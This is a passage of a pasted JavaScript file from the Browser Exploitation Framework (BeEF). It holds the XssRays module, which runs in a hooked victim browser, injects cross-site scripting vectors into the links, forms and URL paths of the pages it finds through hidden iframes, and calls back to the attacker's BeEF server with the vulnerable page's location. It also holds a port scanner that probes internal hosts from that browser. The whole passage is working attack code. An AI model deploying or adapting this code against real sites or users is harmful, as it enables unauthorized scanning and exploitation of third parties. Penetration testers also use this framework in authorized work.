  10238. {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
  10239. {input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
  10240. ],
  10241. uniqueID: 0,
  10242. rays: [],
  10243. stack: [],
  10244.  
  10245. // return true is the attack vector can be launched to the current browser type.
  10246. checkBrowser:function(vector_array_index){
  10247. var result = false;
  10248. var browser_id = this.vectors[vector_array_index].browser;
  10249. switch (browser_id){
  10250. case "ALL":
  10251. result = true;
  10252. break;
  10253. case "FF":
  10254. if(beef.browser.isFF())result=true;
  10255. break;
  10256. case "IE":
  10257. if(beef.browser.isIE())result=true;
  10258. break;
  10259. case "C":
  10260. if(beef.browser.isC())result=true;
  10261. break;
  10262. case "S":
  10263. if(beef.browser.isS())result=true;
  10264. break;
  10265. case "O":
  10266. if(beef.browser.isO())result=true;
  10267. break;
  10268. default : result = false;
  10269. }
  10270. beef.net.xssrays.printDebug("==== browser_id ==== [" + browser_id + "], result [" + result + "]");
  10271. return result;
  10272. },
  10273.  
  10274. // util function. Print string to the console only if the debug flag is on and the browser is not IE.
  10275. printDebug:function(log) {
  10276. if (this.debug && (!beef.browser.isIE6() && !beef.browser.isIE7() && !beef.browser.isIE8())) {
  10277. beef.debug("[XssRays] " + log);
  10278. }
  10279. },
  10280.  
  10281. // main function, where all starts :-)
  10282. startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout, debug) {
  10283.  
  10284. this.xssraysScanId = xssraysScanId;
  10285. this.hookedBrowserSession = hookedBrowserSession;
  10286. this.beefRayUrl = beefUrl + '/' + this.handler;
  10287. beef.net.xssrays.printDebug("Using [" + this.beefRayUrl + "] handler to contact back BeEF");
  10288. this.crossDomain = crossDomain;
  10289. this.cleanUpTimeout = timeout;
  10290. this.debug = debug;
  10291.  
  10292. this.scan();
  10293. beef.net.xssrays.printDebug("Starting scan");
  10294. this.runJobs();
  10295. },
  10296. complete:function() {
  10297. if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) {
  10298. beef.net.xssrays.printDebug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]");
  10299. $j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: "finish"} );
  10300. } else {
  10301. this.getNextJob();
  10302. }
  10303. },
  10304. getNextJob:function() {
  10305. var that = this;
  10306. beef.net.xssrays.printDebug("getNextJob - this.stack.length [" + this.stack.length + "]");
  10307. if (this.stack.length > 0) {
  10308. var func = that.stack.shift();
  10309. if (func) {
  10310. that.completed++;
  10311. func.call(that);
  10312. }
  10313. }else{ //nothing else to scan
  10314. this.complete();
  10315. }
  10316. },
  10317. scan:function() {
  10318. this.scanLinks();
  10319. this.scanForms();
  10320. },
  10321. scanPaths:function() {
  10322. this.xss({type:'path'});
  10323. return this;
  10324. },
  10325. scanForms: function() {
  10326. this.xss({type:'form'});
  10327. return this;
  10328. },
  10329. scanLinks: function() { //TODO: add depth crawling for links that are in the same domain
  10330. beef.net.xssrays.printDebug("scanLinks, document.links.length [" + document.links.length + "]");
  10331. for (var i = 0; i < document.links.length; i++) {
  10332. var url = document.links[i];
  10333.  
  10334. if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) {
  10335. beef.net.xssrays.printDebug("Starting scanning URL [" + url + "]\n url.href => " + url.href +
  10336. "\n url.pathname => " + url.pathname + "\n" +
  10337. "url.search => " + url.search + "\n");
  10338. this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,
  10339. search:url.search, type: 'url'});//scan each link & param
  10340. } else {
  10341. if (this.debug) {
  10342. beef.net.xssrays.printDebug('Scan is not Cross-domain. URLS\nurl :' + url.hostname.toString());
  10343. beef.net.xssrays.printDebug('\nlocation :' + location.hostname.toString());
  10344. }
  10345. }
  10346. }
  10347. if (location.search.length > 0) {
  10348. this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});//scan originating url
  10349. }
  10350. return this;
  10351. },
  10352. xss:function(target) {
  10353. switch (target.type) {
  10354. case "url":
  10355. if (target.search.length > 0) {
  10356. target.search = target.search.slice(1);
  10357. target.search = target.search.split(/&|&amp;/);
  10358.  
  10359. if(beef.browser.isIE() && target.pathname.charAt(0) != "/"){ //the damn IE doesn't contain the forward slash in pathname
  10360. var pathname = "/" + target.pathname;
  10361. }else{
  10362. var pathname = target.pathname;
  10363. }
  10364.  
  10365. var params = {};
  10366. for (var i = 0; i < target.search.length; i++) {
  10367. target.search[i] = target.search[i].split('=');
  10368. params[target.search[i][0]] = target.search[i][1];
  10369. }
  10370. for (var i = 0; i < this.vectors.length; i++) {
  10371. // skip the current vector if it's not compatible with the hooked browser
  10372. if (!this.checkBrowser(i)){
  10373. beef.net.xssrays.printDebug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
  10374. continue;
  10375. }
  10376. if (!this.vectors[i].url) {
  10377. continue;
  10378. }
  10379. if (this.vectors[i].url) {
  10380. if (target.port == null || target.port == "") {
  10381. beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
  10382. this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params
  10383. } else {
  10384. beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
  10385. this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params
  10386. }
  10387. }
  10388. if (this.vectors[i].path) {
  10389. if (target.port == null || target.port == "") {
  10390. beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
  10391. this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths
  10392. } else {
  10393. beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
  10394. this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths
  10395. }
  10396. }
  10397. }
  10398. }
  10399. break;
  10400. case "form":
  10401. var params = {};
  10402. var paramsstring = "";
  10403. for (var i = 0; i < document.forms.length; i++) {
  10404. var action = document.forms[i].action || document.location;
  10405. var method = document.forms[i].method.toUpperCase() === 'POST' ?
  10406. 'POST' :
  10407. 'GET';
  10408.  
  10409. for (var j = 0; j < document.forms[i].elements.length; j++) {
  10410. params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1;
  10411. }
  10412. for (var k = 0; k < this.vectors.length; k++) {
  10413.  
  10414. // skip the current vector if it's not compatible with the hooked browser
  10415. if (!this.checkBrowser(k)){
  10416. beef.net.xssrays.printDebug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
  10417. continue;
  10418. }
  10419. if (!this.vectors[k].form) {
  10420. continue;
  10421. }
  10422. if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) {
  10423. if (this.debug) {
  10424. beef.net.xssrays.printDebug('Scan is not Cross-domain. FormPost\naction :' + this.host(action).toString());
  10425. beef.net.xssrays.printDebug('location :' + this.host(location));
  10426. }
  10427. continue;
  10428. }
  10429. if (this.vectors[k].form) {
  10430. if (method === 'GET') {
  10431. beef.net.xssrays.printDebug("Starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]");
  10432. this.run(action, method, this.vectors[k], params, true);//params
  10433. }
  10434. else {
  10435. beef.net.xssrays.printDebug("Starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]");
  10436. this.run(action, method, this.vectors[k], params, false);//params
  10437. }
  10438. }
  10439. if (this.vectors[k].path) {
  10440. beef.net.xssrays.printDebug("Starting XSS on FORM action URI PATH of [" + action + "], ");
  10441. this.run(action, 'GET', this.vectors[k], null, true);//paths
  10442. }
  10443. }
  10444. }
  10445. break;
  10446. }
  10447. },
  10448. host: function(url) {
  10449. var host = url;
  10450. host = /^https?:[\/]{2}[^\/]+/.test(url.toString())
  10451. ? url.toString().match(/^https?:[\/]{2}[^\/]+/)
  10452. : /(?:^[^a-zA-Z0-9\/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString())
  10453. ? ''
  10454. : location.hostname.toString();
  10455. return host;
  10456. },
  10457. fileName: function(url) {
  10458. return url.match(/(?:^[^\/]|^https?:[\/]{2}|^[\/]+)[^?]+/) || '';
  10459. },
  10460.  
  10461. urlEncode: function(str) {
  10462. str = str.toString();
  10463. str = str.replace(/"/g, '%22');
  10464. str = str.replace(/&/g, '%26');
  10465. str = str.replace(/\+/g, '%2b');
  10466. return str;
  10467. },
  10468.  
  10469. // this is the main core function with the detection mechanisms...
  10470. run: function(url, method, vector, params, urlencode) {
  10471. this.stack.push(function() {
  10472.  
  10473. //check if the URL end with / . In this case remove the last /, as it will be added later.
  10474. // this check is needed only when checking for URI path injections
  10475. if(url[url.length - 1] == "/" && params == null){
  10476. url = url.substring(0, url.length - 2);
  10477. beef.net.xssrays.printDebug("Remove last / from url. New url [" + url + "]");
  10478. }
  10479.  
  10480. beef.net.xssrays.uniqueID++;
  10481. beef.net.xssrays.printDebug('Processing vector [' + vector.name + "], URL [" + url + "]");
  10482. var poc = '';
  10483. var pocurl = url;
  10484. var exploit = '';
  10485. var action = url;
  10486.  
  10487.  
  10488. beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params};
  10489. var ray = this.rays[beef.net.xssrays.uniqueID];
  10490.  
  10491. var paramsPos = 0;
  10492. if (params != null) {
  10493. /*
  10494. * ++++++++++ check for XSS in URI parameters (GET) ++++++++++
  10495. */
  10496. for (var i in params) {
  10497. if (params.hasOwnProperty(i)) {
  10498.  
  10499. if (!/[?]/.test(url)) {
  10500. url += '?';
  10501. pocurl += '?';
  10502. }
  10503.  
  10504. poc = vector.input.replace(/XSS/g, "alert(1)");
  10505. pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&';
  10506.  
  10507. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
  10508. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
  10509.  
  10510. beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
  10511. + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
  10512.  
  10513. exploit = vector.input.replace(/XSS/g, beefCallback);
  10514.  
  10515. if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later
  10516. url += i + '=' + exploit + '&';
  10517. }else{
  10518. url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';
  10519. }
  10520.  
  10521. paramsPos++;
  10522. }
  10523. }
  10524. } else {
  10525. /*
  10526. * ++++++++++ check for XSS in URI path (GET) ++++++++++
  10527. */
  10528. var filename = beef.net.xssrays.fileName(url);
  10529.  
  10530. poc = vector.input.replace(/XSS/g, "alert(1)");
  10531. pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
  10532.  
  10533.  
  10534. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
  10535. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
  10536.  
  10537. beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
  10538. + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
  10539.  
  10540. exploit = vector.input.replace(/XSS/g, beefCallback);
  10541.  
  10542. //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//<xss>.
  10543. //TODO: this need to checked and the slash shouldn't be added in this particular case
  10544. url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
  10545. }
  10546. /*
  10547. * ++++++++++ create the iFrame that will contain the attack vector ++++++++++
  10548. */
  10549. if(beef.browser.isIE()){
  10550. try {
  10551. var iframe = document.createElement('<iframe name="ray'+Math.random().toString() +'">');
  10552. } catch (e) {
  10553. var iframe = document.createElement('iframe');
  10554. iframe.name = 'ray' + Math.random().toString();
  10555. }
  10556. }else{
  10557. var iframe = document.createElement('iframe');
  10558. iframe.name = 'ray' + Math.random().toString();
  10559. }
  10560. iframe.style.display = 'none';
  10561. iframe.id = 'ray' + beef.net.xssrays.uniqueID;
  10562. iframe.time = beef.net.xssrays.timestamp();
  10563.  
  10564. if (method === 'GET') {
  10565. if(beef.browser.isC() || beef.browser.isS()){
  10566. var datauri = btoa(url);
  10567. iframe.src = "data:text/html;base64," + datauri;
  10568. }else{
  10569. iframe.src = url;
  10570. }
  10571. document.body.appendChild(iframe);
  10572. beef.net.xssrays.printDebug("Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]");
  10573. } else if (method === 'POST') {
  10574. /*
  10575. * ++++++++++ check for XSS in body parameters (POST) ++++++++++
  10576. */
  10577. var form = '<form action="' + beef.net.xssrays.escape(action) + '" method="post" id="frm">';
  10578. poc = '';
  10579. pocurl = action + "?";
  10580. paramsPos = 0;
  10581.  
  10582. beef.net.xssrays.printDebug("Form action [" + action + "]");
  10583. for (var i in params) {
  10584. if (params.hasOwnProperty(i)) {
  10585.  
  10586. poc = vector.input.replace(/XSS/g, "alert(1)");
  10587. poc = poc.replace(/<\/script>/g, "<\/scr\"+\"ipt>");
  10588. pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc); // + '&';
  10589.  
  10590. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
  10591. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
  10592.  
  10593. beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
  10594. + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
  10595.  
  10596. exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
  10597. form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';
  10598. beef.net.xssrays.printDebug("form param[" + i + "] = " + params[i].toString());
  10599.  
  10600. paramsPos++;
  10601. }
  10602. }
  10603. form += '<\/form>';
  10604. document.body.appendChild(iframe);
  10605. beef.net.xssrays.printDebug("Creating form [" + form + "]");
  10606. iframe.contentWindow.document.writeln(form);
  10607. iframe.contentWindow.document.writeln('<script>document.createElement("form").submit.apply(document.forms[0]);<\/script>');
  10608. beef.net.xssrays.printDebug("Submitting form");
  10609. }
  10610.  
  10611. });
  10612. },
  10613.  
  10614. // run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value
  10615. runJobs: function() {
  10616. var that = this;
  10617. this.totalConnections = this.stack.length;
  10618. that.getNextJob();
  10619. setInterval(function() {
  10620. var numOfConnections = 0;
  10621. for (var i = 0; i < document.getElementsByTagName('iframe').length; i++) {
  10622. var iframe = document.getElementsByTagName('iframe')[i];
  10623. numOfConnections++;
  10624. //beef.net.xssrays.printDebug("runJobs parseInt(this.timestamp()) [" + parseInt(beef.net.xssrays.timestamp()) + "], parseInt(iframe.time) [" + parseInt(iframe.time) + "]");
  10625. if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {
  10626. try{
  10627. if (iframe) {
  10628. beef.net.xssrays.complete();
  10629. beef.net.xssrays.printDebug("RunJobs cleaning up iFrame [" + iframe.id + "]");
  10630. document.body.removeChild(iframe);
  10631. }
  10632. }catch(e){beef.net.xssrays.printDebug("Exception [" + e.toString() + "] when cleaning iframes.")}
  10633. }
  10634. }
  10635.  
  10636. if (numOfConnections == 0) {
  10637. clearTimeout(this);
  10638. }
  10639.  
  10640. }, this.cleanUpTimeout);
  10641.  
  10642. return this;
  10643. },
  10644. timestamp: function() {
  10645. return parseInt(new Date().getTime().toString().substring(0, 10));
  10646. },
  10647. escape: function(str) {
  10648. str = str.toString();
  10649. str = str.replace(/</g, '&lt;');
  10650. str = str.replace(/>/g, '&gt;');
  10651. str = str.replace(/\u0022/g, '&quot;');
  10652. str = str.replace(/\u0027/g, '&#39;');
  10653. str = str.replace(/\\/g, '&#92;');
  10654. return str;
  10655. }
  10656.  
  10657. };
  10658.  
  10659. beef.regCmp('beef.net.xssrays');
  10660.  
  10661.  
  10662. //
  10663. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  10664. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10665. // See the file 'doc/COPYING' for copying permission
  10666. //
  10667.  
  10668. /*!
  10669. * @literal object: beef.net.portscanner
  10670. *
  10671. * Provides port scanning functions for the zombie. A mod of pdp's scanner
  10672. *
  10673. * Version: '0.1',
  10674. * author: 'Petko Petkov',
  10675. * homepage: 'http://www.gnucitizen.org'
  10676. */
  10677.  
  10678. beef.net.portscanner = {
  10679.  
  10680. scanPort: function(callback, target, port, timeout)
  10681. {
  10682. var timeout = (timeout == null)?100:timeout;
  10683. var img = new Image();
  10684.  
  10685. img.onerror = function () {
  10686. if (!img) return;
  10687. img = undefined;
  10688. callback(target, port, 'open');
  10689. };
  10690.  
  10691. img.onload = img.onerror;
  10692.  
  10693. img.src = 'http://' + target + ':' + port;
  10694.  
  10695. setTimeout(function () {
  10696. if (!img) return;
  10697. img = undefined;
  10698. callback(target, port, 'closed');
  10699. }, timeout);
  10700.  
  10701. },
  10702.  
  10703. scanTarget: function(callback, target, ports_str, timeout)
  10704. {
  10705. var ports = ports_str.split(",");
  10706.  
  10707. for (index = 0; index < ports.length; index++) {
  10708. this.scanPort(callback, target, ports[index], timeout);
  10709. };
  10710.  
  10711. }
  10712. };
  10713.  
  10714. beef.regCmp('beef.net.portscanner');
  10715.  
  10716.  
  10717.  
  10718. //
  10719. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  10720. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10721. // See the file 'doc/COPYING' for copying permission
  10722. //
  10723.  
  10724. beef.are = {
  10725. status_success: function(){
  10726. return 1;
  10727. },
  10728. status_unknown: function(){
  10729. return 0;
  10730. },
  10731. status_error: function(){
  10732. return -1;
  10733. }
  10734. };
  10735. beef.regCmp("beef.are");
  10736.  
  10737.  
  10738. //
  10739. // Copyright (c) 2006-2018 Wade Alcorn - [email protected]
  10740. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10741. // See the file 'doc/COPYING' for copying permission
  10742. //
  10743.  
  10744. /*
  10745. Sometimes there are timing issues and looks like beef_init
  10746. is not called at all (always in cross-origin situations,
  10747. for example calling the hook with jquery getScript,
  10748. or sometimes with event handler injections).
  10749.  
  10750. To fix this, we call again beef_init after 1 second.
  10751. Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
  10752. antisnatchor
  10753. */
  10754. //setTimeout(beef_init, 1000);
Add Comment
Please, Sign In to add comment